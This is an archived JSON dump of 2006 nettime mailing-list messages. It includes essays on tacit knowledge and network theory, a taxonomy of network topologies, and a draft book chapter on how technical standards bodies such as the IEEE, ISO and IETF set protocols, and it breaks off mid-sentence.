merit\nfurther thinking - and it is perhaps more useful to use the opposition of\n'tacit/explicit' rather than 'oral/literate' for further exploration of\nnetworks (remaining alert to the distinction that one is dealing with\nreflexive networks).\n\nWhile the tacit centres on the local, it does not mean that larger horizons\nare absent.  I illustrate this by citing a discussion I attended a couple of\nyears ago.  This was a meeting between a group of local architects and\nDinkar Kaikini (a well known vocalist in Indian classical music).  The\npurpose of the discussion was to hear Kaikini's views on parallels between\nmusic and architecture.    The first thing that struck me was that the\narchitects in the group all considered themselves modernists, and would have\nrebelled against the label \"classical\" being applied to their way of\nthinking.  Kaikini, on the other hand, rooted himself firmly within a\nclassical tradition, yet was comfortable with modernity.  But it was a point\nthat Kaikini made that was most revelatory to me, and to cite it I must\nfirst explain some of the principles of Indian classical music (and I refer\nhere to the Hindustani rather than the Carnatic tradition).   Unlike Western\nclassical music, the Indian classical tradition does not rely on\ncomposers.   The foundation is called \"raaga\".  There is no direct\ntranslation of this word into English, but the closest would be \"scale\".\nThe raaga delineates the set and sequence of notes that may be used in a\nmusical composition.  The raaga has no strong sense of authorship - in that\nsense it is open source, for even though a particular raaga may at one point\nin time have an individual creator, it belongs to a tradition rather than a\nperson.  But unlike a scale, the raaga also has links with emotion and\nstates of being.  Each raaga has strong associations - for example \"Durbari\"\nis associated with the regal, and \"Basant\" is associated with the seasons.\nEach raaga is also linked with a temporal context and has a particular time\nof day in which it is to be performed.   Dawn, morning, mid-day, evening,\nnight all have their own raagas.\n\nGiven all this, I was always under the impression that the raaga determined\nthe emotive depth of the music.  However, Kaikini said that the raaga only\ndefines a space.  The enclosure that constructs the space sets some limits -\nit determines where one can go.  But it does not determine how one moves\nacross the space - do you hop and skip with happiness, or do you drag your\nfeet with head bowed, or do you stay close to one spot in contemplation.\nIt is not the delineation of the space that is important as much as the\nmanner in which one inhabits it.  Kaikini placed the emotive depth in music\nby the level of expressiveness one can put into two concepts: \"Meend\" which\nis the glide from one note to the next, and \"Laya\" which is the interval of\ntime between one note and the next.  When one manages this one is\ntransported into a world that is beyond any sense of self or time (and do we\nnot all lose our sense of self and time when we are caught up in a beautiful\npiece of music).\n\nTo me, the power of Kaikini's observations lay in:\n\n   1. The transcendent can be found in what is immediately adjacent.\n   2. We inhabit a reality that does not exist only on one level.\n   Reality is multi-leveled and complex, and our sense of being shifts between\n   mundane, terrestrial and transcendent levels.  All art recognised this, and\n   perhaps this is why art has sat so comfortable next to religion over several\n   centuries.  Polanyi goes so far as to say that the more tacit the knowledge\n   is, the more transcendent it is likely to be.\n    3. We tend to assume that tacit knowledge, because it cannot be\n   verbalised, is not shareable - and is therefore less tangible and real.  But\n   the world that Kaikini (or any other gifted musician) constructs through his\n   music, even though it is purely tacit, is tangible, shareable and real\n   enough to have commercial value, allowing the musician to earn a living\n   through it.\n\nWhile all this may seem far away from the realm of network theory, I believe\nit is crucial.  Emergent networks build on close-grained local links, and\nmovement between mundane connections and higher levels of being understood\nthrough collectively owned patterns.   When one comes to reflexive networks,\nthose patterns hold a sense of transcendence that binds communities.  A\ntheory of reflexive networks must include a theory of knowledge and the\nlinks between epistemic systems and social cohesion.\n\nSo if I summarise the propositions that interest me:\n\n   1. It would be useful to situate network theory within a theory of\n   sites of practice.\n   2. We must distinguish between \"networks of practice\" and \"communities\n   of practice\"\n   3. What are the base conditions required for emergence to occur?\n   4. Human networks are also reflexive, and we must be alert to the\n   special issues involved with reflexivity.\n   5. A theory of reflexive networks must include a theory of knowledge\n   and the links between epistemic systems and social cohesion.\n\nCheers,\nPrem\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00059",
                        "date": "Thu, 20 Apr 2006 05:37:47 -0400",
                        "to": "nettime {AT} bbs.thing.net",
                        "message-id": "E1FWaKN&#45;0000oo&#45;6L {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0604/msg00059.html",
                        "content-type": "text/plai",
                        "author_name": "Prem Chandavarkar",
                        "subject": "Re: <nettime> Network, Swarm, Microstructur"
                    },
                    {
                        "id": "00060",
                        "content": "On Apr 19, 2006, at 8:38 PM, Brian Holmes wrote:\n\n> quit saying a network is this, a network is that.\n\nthere is a long, fruitful history of people doing just that. so perhaps\nthis thread suffers not from a desire to define the term, but from a\nlack of specificity in our vocabulary.\n\na brief, unorganized survey might help:\n\ncentralized network--a single hub connected to multiple peripheral\nnodes; little to no interconnection between nodes.\nexamples: web server, software security updates, the panopticon prison,\nsovereign (royal) fiat, LAN router, pyramidal hierarchy\n\ndecentralized network--multiple hubs, each with their own sets of\nperipheral nodes; hubs are connected to other hubs.\nrelated concept: scale-free network (Barab=E1si)\nexamples: Domain Name System (DNS), airline transportation routes,\nmunicipal governments\n\ndistributed network--a flat mesh in which there is no distinction\nbetween hubs and peripheral nodes (Baran)\nrelated concept: rhizome (Deleuze and Guattari)\nrelated concept: random network, a network having a random distribution\nof links (Barab=E1si).\nexamples: TCP/IP, peer-to-peer, national highway systems\n\nchain network--a linear input/output transfer system\nexamples: smuggler trade routes, IP routing\n\nall-channel network--a star in which every node is connected to every\nother node\nexamples: Ethernet, kin groups, collectives\n\n(note, this list only approaches the topological/structural qualities of\nnetworks. we would have to supplement the list greatly if we wish to\naddress the topic of network actors [example: the nomad, the virus]\nand/or networked tactics of struggle [example: swarming, exploits,\nnonexistence].)\n\nwe can and should say what networks are. otherwise networks sink into\nthe landscape as inscrutable, natural forms. such is the trick of power.\n\nreferences:\nAlbert-L=E1szl=F3 Barab=E1si, \"Linked\" (2002)\nPaul Baran, \"On Distributed Communications\" (1964)\nGilles Deleuze and F=E9lix Guattari, \"A Thousand Plateaus\" (1980)\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0604/msg00060.html",
                        "list": "nettime_l",
                        "author_name": "Alexander Galloway",
                        "subject": "Re: <nettime> Network, Swarm, Microstructur",
                        "from": "Alexander Galloway <galloway {AT} nyu.edu>",
                        "follow-up": [
                            {
                                "from": "\"porculus\" <porculus {AT} wanadoo.fr>",
                                "content": "\n> In hierarchies, power operates through coercion. In networks, it\n> works through exclusion.\n\n\ngotcha, you mean to pardon blessed human hierarchie for bringing black slaves in\nnew orleans god scourges & plagues with katrina enuf for kicking them up alabama &\nriogrande. Hach internet schedule of being in typing 'to be or not' just on an low\nbandwiz, I mean it's justice since internet tries to pardon oneself of being as\nsomezing dried bar i.e. wiz no cognac nor the de la menthe, I supoz one tries to\nfatten each ozer with words as bordel de pompe cul as would ubu chez matrix said,\nin zuch dried bar pornographix would lay just as a no flesh & bones oxymoron so in\nzis puritan noosphee we would be just all kinda Lautrec in pigalle eating handful\nof shrinkment pill aginst our will\n\n> we can and should say what networks are. otherwise networks sink into\n> the landscape as inscrutable, natural forms. such is the trick of power.\n\nfor sure ein 'sein oder nichtsein' but wizout cellphone deep in the schwarzforest\nziegfried would have a stinking zmell of dasein for ze death already, but what\nsticking up in this deterraformed nettime: this guy baudrillard wanting to screw\nmy mother & jeer at my rapeseed oil vw, make so much noise as he wanted to upgrade\nhimself as the third riders of the apocalypse..he is not sexy at all enuf for\nthat.\n\nhey hauffeur step on the gas & run over the frog\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                                "id": "00067",
                                "date": "Tue, 25 Apr 2006 10:24:30 -0400",
                                "to": "<nettime-l {AT} bbs.thing.net>",
                                "message-id": "E1FYOSs&#45;0007cC&#45;4U {AT} bbs.thing.net",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-0604/msg00067.html",
                                "content-type": "text/plai",
                                "author_name": "porculus",
                                "subject": "Re: <nettime> Network, Swarm, Microstructur"
                            }
                        ],
                        "message-id": "E1FXTOa&#45;0007q9&#45;T9 {AT} bbs.thing.net",
                        "date": "Fri, 21 Apr 2006 15:12:17 -0400",
                        "content-type": "text/plai"
                    },
                    {
                        "from": "artha rosler <navva {AT} earthlink.net>",
                        "content": "Ana L. Vald=E9s wrote:\n\n>  Cornelius Castoriadis, one of Europes most >important theorics in the\n>  50:, 60:s and 70:s, pivotal for the 68:s >movement in France. He was\n>  one of the founders of the magazine >\"Socialisme et Barbarie\",\n>  http://www.agorainternational.org/index.html, >where intellectuals as\n>  Jean Francois Lyotard wrote.\n\ntiny correction:\nSocialisme OU Barbarie\n\ncheers,\nmartha rosler\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00061",
                        "date": "Fri, 21 Apr 2006 19:11:20 -0400",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "E1FXTPv&#45;0007qi&#45;JR {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0604/msg00061.html",
                        "content-type": "text/plai",
                        "author_name": "martha rosler",
                        "subject": "Re: <nettime> Network, Swarm, Microstructur"
                    },
                    {
                        "from": "\"porculus\" <porculus {AT} wanadoo.fr>",
                        "content": "\n> In hierarchies, power operates through coercion. In networks, it\n> works through exclusion.\n\n\ngotcha, you mean to pardon blessed human hierarchie for bringing black slaves in\nnew orleans god scourges & plagues with katrina enuf for kicking them up alabama &\nriogrande. Hach internet schedule of being in typing 'to be or not' just on an low\nbandwiz, I mean it's justice since internet tries to pardon oneself of being as\nsomezing dried bar i.e. wiz no cognac nor the de la menthe, I supoz one tries to\nfatten each ozer with words as bordel de pompe cul as would ubu chez matrix said,\nin zuch dried bar pornographix would lay just as a no flesh & bones oxymoron so in\nzis puritan noosphee we would be just all kinda Lautrec in pigalle eating handful\nof shrinkment pill aginst our will\n\n> we can and should say what networks are. otherwise networks sink into\n> the landscape as inscrutable, natural forms. such is the trick of power.\n\nfor sure ein 'sein oder nichtsein' but wizout cellphone deep in the schwarzforest\nziegfried would have a stinking zmell of dasein for ze death already, but what\nsticking up in this deterraformed nettime: this guy baudrillard wanting to screw\nmy mother & jeer at my rapeseed oil vw, make so much noise as he wanted to upgrade\nhimself as the third riders of the apocalypse..he is not sexy at all enuf for\nthat.\n\nhey hauffeur step on the gas & run over the frog\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00067",
                        "date": "Tue, 25 Apr 2006 10:24:30 -0400",
                        "to": "<nettime-l {AT} bbs.thing.net>",
                        "message-id": "E1FYOSs&#45;0007cC&#45;4U {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0604/msg00067.html",
                        "content-type": "text/plai",
                        "author_name": "porculus",
                        "subject": "Re: <nettime> Network, Swarm, Microstructur"
                    }
                ],
                "message-id": "E1FVR5y&#45;00020e&#45;Me {AT} bbs.thing.net",
                "date": "Mon, 17 Apr 2006 06:36:38 -0400",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "Alexander Galloway <ag {AT} rhizome.org>",
                "id": "00052",
                "content": "\nNettimers--I'm preparing a book manuscript on computer protocols and  \nhow they establish control in the seemingly anarchical Internet. I'm  \nhoping that some of you will be able to read my draft chapter below on  \nthe institutionalization of protocols via standards bodies. Please  \npoint out my mistakes before i send it to my editor! :-) thanks, -ag\n\n+ + +\n\nIn this day and age, technical protocols and standards are established  \nby an self-selected oligarchy of scientists consisting largely of  \nelectrical engineers and computer specialists. Composed of a patchwork  \nof many professional bodies, working groups, committees and  \nsubcommittees, this technocratic elite toils away, mostly voluntarily,  \nin an effort to hammer out solutions to advancements in technology.  \nMany of them are university professors. Most all of them either work in  \nindustry, or have some connection to it.\n\tLike the philosophy of protocol itself, membership in this  \ntechnocratic ruling class is open. \u0093Anyone with something to contribute  \ncould come to the party,\u0094[1] wrote one early participant. But, to be  \nsure, because of the technical sophistication needed to participate,  \nthis loose consortium of decision-makers tends to fall into a  \nrelatively homogenous social class: highly educated, altruistic,  \nliberal-minded science professionals from modernized societies around  \nthe globe.\n\tAnd sometimes not so far around the globe. Of the twenty-five or so  \noriginal protocol pioneers, three of them\u0097Vint Cerf, Jon Postel and  \nSteve Crocker\u0097all came from a single high school in Los Angeles\u0092s San  \nFernando Valley.[2] Furthermore during his long tenure as RFC Editor,  \nPostel was the single gatekeeper through whom all protocol RFCs passed  \nbefore they could be published.\nInternet historians Katie Hafner and Matthew Lyon describe this group  \nas \u0093an ad-hocracy of intensely creative, sleep-deprived, idiosyncratic,  \nwell-meaning computer geniuses.\u0094[3]\n\tThere are few outsiders in this community. Here the specialists run  \nthe show. To put it another way, while the Internet is used daily by  \nvast swaths of diverse communities, the standards-makers at the heart  \nof this technology are a small entrenched group of techno-elite peers.\nThe reasons for this are largely practical. \u0093Most users are not  \ninterested in the details of Internet protocols,\u0094 Vint Cerf observes,  \n\u0093they just want the system to work.\u0094[4] Or as former IEFT Chair Fred  \nBaker reminds us: \u0093The average user doesn't write code. [...] If their  \nneeds are met, they don't especially care how they were met.\u0094[5]\n\n\n\n\n\n\n\n\n So who actually writes these technical protocols, where did they  \ncome from, and how are they used in the real world? They are found in  \nthe fertile amalgamation of computers and software that constitutes the  \nmajority of servers, routers and other internet-enabled machines. A  \nsignifigant portion of these computers were, and still are, Unix-based  \nsystems. A signifigant portion of the software was, and still is,  \nlargely written in the C or C++ languages. All of these elements have  \nenjoyed unique histories as protocological technologies.\n\tThe Unix operating system was developed at Bell Telephone Laboratories  \nby Ken Thompson, Dennis Ritchie and others beginning in 1969 and  \ncontinuing development into the early \u009170s. After the operating  \nsystem\u0092s release the lab\u0092s parent company, AT&T, began to license and  \nsell Unix as a commercial software product. But, for various legal  \nreasons, the company admitted they \u0093had no intention of pursuing  \nsoftware as a business.\u0094[6] Unix was indeed sold by AT&T, but simply  \n\u0093as is\u0094 with no advertising, technical support or other fanfare. This  \ncontributed to its widespread adoption by universities who found in  \nUnix a cheap but useful operating system that could be easily  \nexperimented with, modified and improved.\n\tIn January 1974, Unix was installed at the University of California at  \nBerkeley. Bill Joy and others began developing aspin-off of the  \noperating system which became known as BSD (Berkeley Software  \nDistribution).\n\tUnix was particularly successful because of its close connection to  \nnetworking and the adoption of basic interchange standards. \u0093Perhaps  \nthe most important contribution to the proliferation of Unix was the  \ngrowth of networking,\u0094[7] writes Unix historian Peter Salus. By the  \nearly \u009180s, the TCP/IP networking suite was included in BSD Unix.\n\tUnix was designed with openness in mind. The source code\u0097written in C,  \nwhich was also developed during 1971-1973\u0097is easily accessible, meaning  \na higher degree of technical transparency.\nThe standardization of the C programming language began in 1983 with  \nthe establishment of an American National Standards Institute (ANSI)  \ncommittee called \u0093X3J11.\u0094 The ANSI report was finished in 1989 and  \nsubsequently accepted as a standard by the international consortium ISO  \nin 1990.[8] Starting in 1979, Bjarne Stroustrup developed C++, which  \nadded the concept of classes to the original C language. (In fact,  \nStroustrup\u0092s first nickname for his new language was \u0093C with Classes.\u0094)  \nANSI standardized the C++ language in 1990.\n\tC++ has been tremendously successful as a language. \u0093The spread was  \nworld-wide from the beginning,\u0094 recalled Stroustrup. \u0093[I]t fit into  \nmore environments with less trouble than just about anything else.\u0094[9]  \nJust like a protocol.\n\tIt is not only computers that experience standardization and mass  \nadoption. Over the years many technologies have followed this same  \ntrajectory. The process of standards creation is, in many ways, simply  \nthe recognition of technologies that have experienced success in the  \nmarket place. One example is the VHS video format developed by JVC  \n(with Matsushita), which beat out Sony\u0092s Betamax format in the consumer  \nvideo market. Betamax was considered by some to be a superior  \ntechnology (an urban myth, claim some engineers) because it stored  \nvideo in a higher-quality format. But the trade off was that Betamax  \ntapes tended to be shorter in length. In the late \u009170s when VHS  \nlaunched, the VHS tape allowed for up to two hours of recording time,  \nwhile Betamax only one hour. \u0093By mid 1979 VHS was outselling Beta by  \nmore than 2 to 1 in the US.\u0094[10] When Betamax caught up in length (to  \nthree hours) it had already lost a foothold in the market. VHS would  \ncounter Betamax by increasing to four hours and later eight.\n\tSome have suggested that it was the pornography industry, who favored  \nVHS over Betamax, that provided it with legions of early adopters and  \nproved the long term viability of the format.[11]\nBut perhaps the most convincing argument is the one that points out  \nJVC\u0092s economic strategy which included aggressive licensing of the VHS  \nformat to competitors. JVC\u0092s behavior is pseudo-protocological. They  \nlicensed the technical specifications for VHS to other vendors. They  \nalso immediately established manufacturing and distribution supply  \nchains for VHS tape manufacturing and retail sales. In the meantime  \nSony tried to fortify its market position by keeping Betamax to itself.  \nAs one analyst writes:\n\n\n\nThree contingent early differences in strategy were crucial. First,  \nSony decided to proceed without major co-sponsors for it Betamax  \nsystem, while JVC shared VHS with several major competitors. Second,  \nthe VHS consortium quickly installed a large manufacturing capacity.  \nThird, Sony opted for a more compact cassette, while JVC chose a longer  \nplaying time for VHS, which proved more important to most customers.[12]\n\n\n\nJVC deliberately sacrificed larger profit margins by keeping prices low  \nand licensing to competitors. This was in order to grow their market  \nshare. The rationale was that establishing a standard was the most  \nimportant thing, and as they approached that goal, it would create a  \npositive feedback loop that would further beat out the competition.\n\n\n\n\n\n\n\n\n The VHS/Betamax story is a good example from the commercial sector  \nfor how one format can beat out another format and become an industry  \nstandard. This example is interesting because it shows that  \nprotocological behavior (giving out your technology broadly even if it  \nmeans giving it to your competitors) often wins out over proprietary  \nbehavior. The Internet protocols function in a similar way, to the  \ndegree that they have become industry standards not through a result of  \npropriety market forces, but due to broad open initiatives of free  \nexchange and debate. This was not exactly the case with VHS, but the  \nanalogy is useful nevertheless.\n\n\n\n\n\n\n\n\n This type of corporate squabbling over video formats has since  \nbeen essentially erased from the world stage with the advent of DVD.  \nThis new format was reached through consensus from industry leaders and  \nhence does not suffer from direct competition by any similar technology  \nin the way that VHS and Betamax did. Such consensus characterizes the  \nlarge majority of processes in place today around the world for  \ndetermining technical standards.\n\n\n\n\n\n\n\n\n Many of today\u0092s technical standards can be attributed to the  \nInstitute of Electrical and Electronics Engineers, or IEEE (pronounced  \n\u0093eye triple e\u0094). In 1963 IEEE was created through the merging of two  \nprofessional societies. They were the American Institute of Electrical  \nEngineers (AIEE) founded in New York on May 13, 1884 (by a group which  \nincluded Thomas Edison) and the Institute of Radio Engineers (IRE)  \nfounded in 1912.[13] Today the IEEE has over 330,000 members in 150  \ncountries. It is the world\u0092s largest professional society in any field.  \nThe IEEE works in conjunction with industry to circulate knowledge of  \ntechnical advances, to recognize individual merit through the awarding  \nof prizes, and to set technical standards for new technologies. In this  \nsense the IEEE is the world\u0092s largest and most important protocological  \nsociety.\n\tComposed of many chapters, sub-groups and committees, the IEEE\u0092s  \nCommunications Society is perhaps the most interestingarea vis-a-vis  \ncomputer networking. They establish standards in many common areas of  \ndigital communication including digital subscriber lines (DSLs) and  \nwireless telephony.\nIEEE standards often become international standards. Examples include  \nthe \u0093802\u0094 series of standards which govern network communications  \nprotocols. These include standards for Ethernet[14] (the most common  \nlocal area networking protocol in use today), Bluetooth, Wi-Fi, and  \nothers.\n\t\u0093The IEEE,\u0094 Paul Baran observed, \u0093has been a major factor in the  \ndevelopment of communications technology.\u0094[15] Indeed Baran\u0092s own  \ntheories, which eventually would spawn the Internet, were published  \nwithin the IEEE community even as they were published by his own  \nemployer, the RAND Corporation.\n\n\n\n\n\n\n\n\n Active within the United States are the National Institute for  \nStandardization and Technology (NIST) and American National Standards  \nInstitute (ANSI). The century old NIST, formerly known as the National  \nBureau of Standards, is a federal agency that develops and promotes  \ntechnological standards. Because they are a federal agency and not a  \nprofessional society, they have no membership per se. They are also  \nnon-regulatory, meaning that they do not enforce laws or establish  \nmandatory standards which must be adopted. Much of their budget goes  \ninto supporting NIST research laboratories as well as various outreach  \nprograms.\n\n\n\n\n\n\n\n\n ANSI, formerly called the American Standards Association, is  \nresponsible for aggregating and coordinating the standards creation  \nprocess in the US. They are the private sector counterpart to NIST.  \nWhile they do not create any standards themselves, they are a conduit  \nfor federally-accredited organizations in the field who are developing  \ntechnical standards. The accredited standards developers must follow  \ncertain rules designed to keep the process open and equitable for all  \ninterested parties. ANSI then verifies that the rules have been  \nfollowed by the developing organization before the proposed standard is  \nadopted.\n\tANSI is also responsible for articulating a national standards  \nstrategy for the US. This strategy helps ANSI advocate in the  \ninternational arena on behalf of United States interests. ANSI is the  \nonly organization that can approve standards as American national  \nstandards.\n\n\n\n\n\n\n\n\n Many of ANSI\u0092s rules for maintaining integrity and quality in the  \nstandards development process revolve around principles of openness and  \ntransparency and hence conform with much of what I have already said  \nabout protocol. ANSI writes that:\n\n\n\n\u02c7\n\n\n\n\n\n\n\n\n\n Decisions are reached through consensus among those affected.\n\u02c7\n\n\n\n\n\n\n\n\n\n Participation is open to all affected interests. [...]\n\u02c7\n\n\n\n\n\n\n\n\n\n The process is transparent \u0097 information on the process and  \nprogress is directly available. [...]\n\u02c7\n\n\n\n\n\n\n\n\n\n The process is flexible, allowing the use of different  \nmethodologies to meet the needs of different technology and product  \nsectors.[16]\n\n\n\nBesides being consensus-driven, open, transparent and flexible, ANSI  \nstandards are also voluntary, which means that, like NIST, no one is  \nbound by law to adopt them. Voluntary adoption in the marketplace is  \nthe ultimate test of a standard. Standards may disappear in the advent  \nof a new superior technology or simply with the passage of time.  \nVoluntary standards have many advantages. By not forcing industry to  \nimplement the standard the burden of success lies in the marketplace.  \nAnd in fact, proven success in the marketplace generally preexists the  \ncreation of a standard. The behavior is emergent, not imposed.\n\n\n\n\n\n\n\n\n On the international stage several other standards bodies become  \nimportant. The International Telecommunication Union (ITU) focuses on  \nradio and telecommunications, including voice telephony, communications  \nsatellites, data networks, television and in the old days, the  \ntelegraph. Established in 1865 they claim to be the world\u0092s oldest  \ninternational organization.\n\tThe International Electrotechnical Commission (IEC) prepares and  \npublishes international standards in the area of electrical  \ntechnologies including magnetics, electronics and energy production.  \nThey cover everything from screw threads to quality management systems.  \nIEC is comprised of national committees. (The national committee  \nrepresenting the US is administered by ANSI.)\n\n\n\n\n\n\n\n\n\n\n Another important international organization is ISO, also known as  \nthe International Organization for Standardization.[17] Like the IEC,  \nISO grows out of the electro-technical field and was formed after World  \nWar II to \u0093facilitate the international coordination and unification of  \nindustrial standards.\u0094[18] Based in Geneva, but a federation of over  \n140 national standards bodies including the American ANSI and the  \nBritish Standards Institution (BSI), their goal is to establish  \nvendor-neutral technical standards. Like the other international  \nbodies, standards adopted by the ISO are recognized worldwide.\n\n\n\n\n\n\n\n\n Also like other standards bodies, ISO standards are developed  \nthrough a process of consensus-building. Their standards are based on  \nvoluntary participation and thus the adoption of ISO standards is  \ndriven largely by market forces. (As opposed to mandatory standards  \nwhich are implemented in response a governmental regulatory mandate.)  \nOnce established, ISO standards can have massive market penetration.  \nFor example the ISO standard for film speed (100, 200, 400, etc.) is  \nused globally by millions of consumers.\n\n\n\n\n\n\n\n\n Another ISO standard of far-reaching importance is the Open  \nSystems Interconnection (OSI) Reference Model. Developed in 1978, the  \nOSI Reference Model is a technique for classifying all networking  \nactivity into seven abstract layers. Each layer describes a different  \nsegment of the technology behind networked communication, as described  \nin various chapters above.\n\n\n\n\n\n\n\n\n\n\n\n Layer 7\n\n\n\n Application\n\n\n\n\n\n\n\n\n Layer 6\n\n\n\n Presentation\n\n\n\n\n\n\n\n\n Layer 5 \n\n Session\n\n\n\n\n\n\n\n\n Layer 4\n\n\n\n Transport\n\n\n\n\n\n\n\n\n Layer 3\n\n\n\n Network\n\n\n\n\n\n\n\n\n Layer 2\n\n\n\n Data link\n\n\n\n\n\n\n\n\n Layer 1\n\n\n\n Physical\n\n\n\nThis classification helps organize the process of standardization into  \ndistinct areas of activity, and is relied on heavily by those creating  \nstandards for the Internet.\n\tIn 1987 the ISO and the IEC recognized that some of their efforts were  \nbeginning to overlap. They decided to establish an institutional  \nframework to help coordinate their efforts and formed a joint committee  \nto deal with information technology called the Joint Technical  \nCommittee 1 (JTC 1). ISO and IEC both participate in the JTC 1, as well  \nas liaisons from Internet-oriented consortia such as the IEFT. ITU  \nmembers, IEEE members and others from other standards bodies also  \nparticipate here. \tIndividuals may sit on several committees in several  \ndifferent standards bodies, or simply attend as ex officio members, to  \nincrease inter-organizational communication and reduce redundant  \ninitiatives between the various standards bodies. JTC 1 committees  \nfocus on everything from office equipment to computer graphics. One of  \nthe newest committees is devoted to biometrics.\n\tISO, ANSI, IEEE, and all the other standards bodies are well  \nestablished organizations with long histories and formidable  \nbureaucracies. The Internet on the other hand has long been skeptical  \nof such formalities and spawned a more ragtag, shoot from the hip  \nattitude about standard creation.[19] I will focus the rest of this  \nchapter on those communities and the protocol documents that they  \nproduce.\n\n\n\n\n\n\n\n\n There are four groups that make up the organizational hierarchy in  \ncharge of Internet standardization. They are the Internet Society, the  \nInternet Architecture Board, the Internet Engineering Steering Group,  \nand the Internet Engineering Task Force.[20] \n\n\n\n\n\n\n\n\n\n\n The Internet Society (ISOC), founded in January 1992, is a  \nprofessional membership society. It is the umbrella organization for  \nthe other three groups. Its mission is \"[t]o assure the open  \ndevelopment, evolution and use of the Internet for the benefit of all  \npeople throughout the world.\"[21] It facilitates the development of  \nInternet protocols and standards. ISOC also provides fiscal and legal  \nindependence for the standards-making process, separating this activity  \nfrom its former US government patronage.\n\n\n\n\n\n\n\n\n The Internet Architecture Board (IAB), originally called the  \nInternet Activities Board, is a core committee of thirteen nominated by  \nand consisting of members of the IETF.[22] The IAB reviews IESG  \nappointments, provides oversight of the architecture of network  \nprotocols, oversees the standards creation process, hears appeals,  \noversees the RFC Editor, and performs other chores. The IETF (as well  \nas the Internet Research Task Force which focuses on longer term  \nresearch topics) falls under the auspices of the IAB. The IAB is  \nprimarily an oversight board, since actually accepted protocols  \ngenerally originate within the IETF (or in smaller design teams).\n\tUnderneath the IAB is the Internet Engineering Steering Group (IESG),  \na committee of the Internet Society that assists and manages the  \ntechnical activities of the IETF. All of the directors of the various  \nresearch areas in the IETF are part of this Steering Group.\n\tThe bedrock of this entire community is The Internet Engineering Task  \nForce (IETF). The IETF is the core area where most protocol initiatives  \nbegin. Several thousand people are involved in the IETF, mostly through  \nemail lists, but also in face to face meetings. \u0093The Internet  \nEngineering Task Force is,\u0094 in their own words, \u0093a loosely  \nself-organized group of people who make technical and other  \ncontributions to the engineering and evolution of the Internet and its  \ntechnologies.\u0094[23] Or elsewhere: \u0093the Internet Engineering Task Force  \n(IETF) is an open global community of network designers, operators,  \nvendors, and researchers producing technical specifications for the  \nevolution of the Internet architecture and the smooth operation of the  \nInternet.\u0094[24]\nThe IETF is best defined in the following RFCs:\n\n\n\n\u02c7\n\n\n\n\n\n\n\n\n\n \u0093The Tao of IETF: A Guide for New Attendees of the Internet  \nEngineering Task Force\u0094 (RFC 1718, FYI 17)\n\u02c7\n\n\n\n\n\n\n\n\n\n \u0093Defining the IETF\u0094 (RFC 3233, BCP 58)\n\u02c7\n\n\n\n\n\n\n\n\n\n \u0093IETF Guidelines for Conduct\u0094[25] (RFC 3184, BCP 54)\n\u02c7\n\n\n\n\n\n\n\n\n\n \"The Internet Standards Process -- Revision 3\" (RFC 2026, BCP 9)\n\u02c7\n\n\n\n\n\n\n\n\n\n \"IAB and IESG Selection, Confirmation, and Recall Process:  \nOperation of the Nominating and Recall Committees\" (RFC 2727, BCP 10)\n\u02c7\n\n\n\n\n\n\n\n\n\n \"The Organizations Involved in the IETF Standards Process\" (RFC  \n2028, BCP 11)\n\n\n\nThese documents describe both how the IEFT creates standards, but also  \nhow the entire community itself is set up and how it behaves.\n\tThe IETF is the least bureaucratic of all the organizations mentioned  \nin this chapter. In fact it is not an organization at all, but rather  \nan informal community. It does not have strict bylaws or formal  \nofficers.\n\n It is not a corporation (nonprofit or otherwise) and thus  \nhas no Board of Directors. It has no binding power as a standards  \ncreation body and is not ratified by any treaty or charter. It has no  \nmembership, and its meetings are open to anyone. \u0093Membership\u0094 in the  \nIETF is simply evaluated through an individual\u0092s participation. If you  \nparticipate via email, or attend meetings, you are a member of the  \nIETF. All participants operate as unaffiliated individuals, not as  \nrepresentatives of other organizations or vendors.\n\tThe IETF is divided up by topic into various Working Groups. Each  \nWorking Group[26] focuses on a particular issue or issues and drafts  \ndocuments that are meant to capture the consensus of the group. Like  \nthe other standards bodies, IETF protocols are voluntary standards.  \nThere is no technical or legal requirement[27] that anyone actually  \nadopt IETF protocols.\n\n\n\n\n\n\n\n\n The process of establishing an Internet Standard is gradual,  \ndeliberate, and negotiated. Any protocol produced by the IETF goes  \nthrough a series of stages, called the \u0093standards track.\u0094 The standards  \ntrack exposes the document to extensive peer review, allowing it to  \nmature into an RFC memo and eventually an Internet Standard. \u0093The  \nprocess of creating an Internet Standard is straightforward,\u0094 they  \nwrite. \u0093A specification undergoes a period of development and several  \niterations of review by the Internet community and revision based upon  \nexperience, is adopted as a Standard by the appropriate body [...], and  \nis published.\u0094[28]\n\tPreliminary versions of specifications are solicited by the 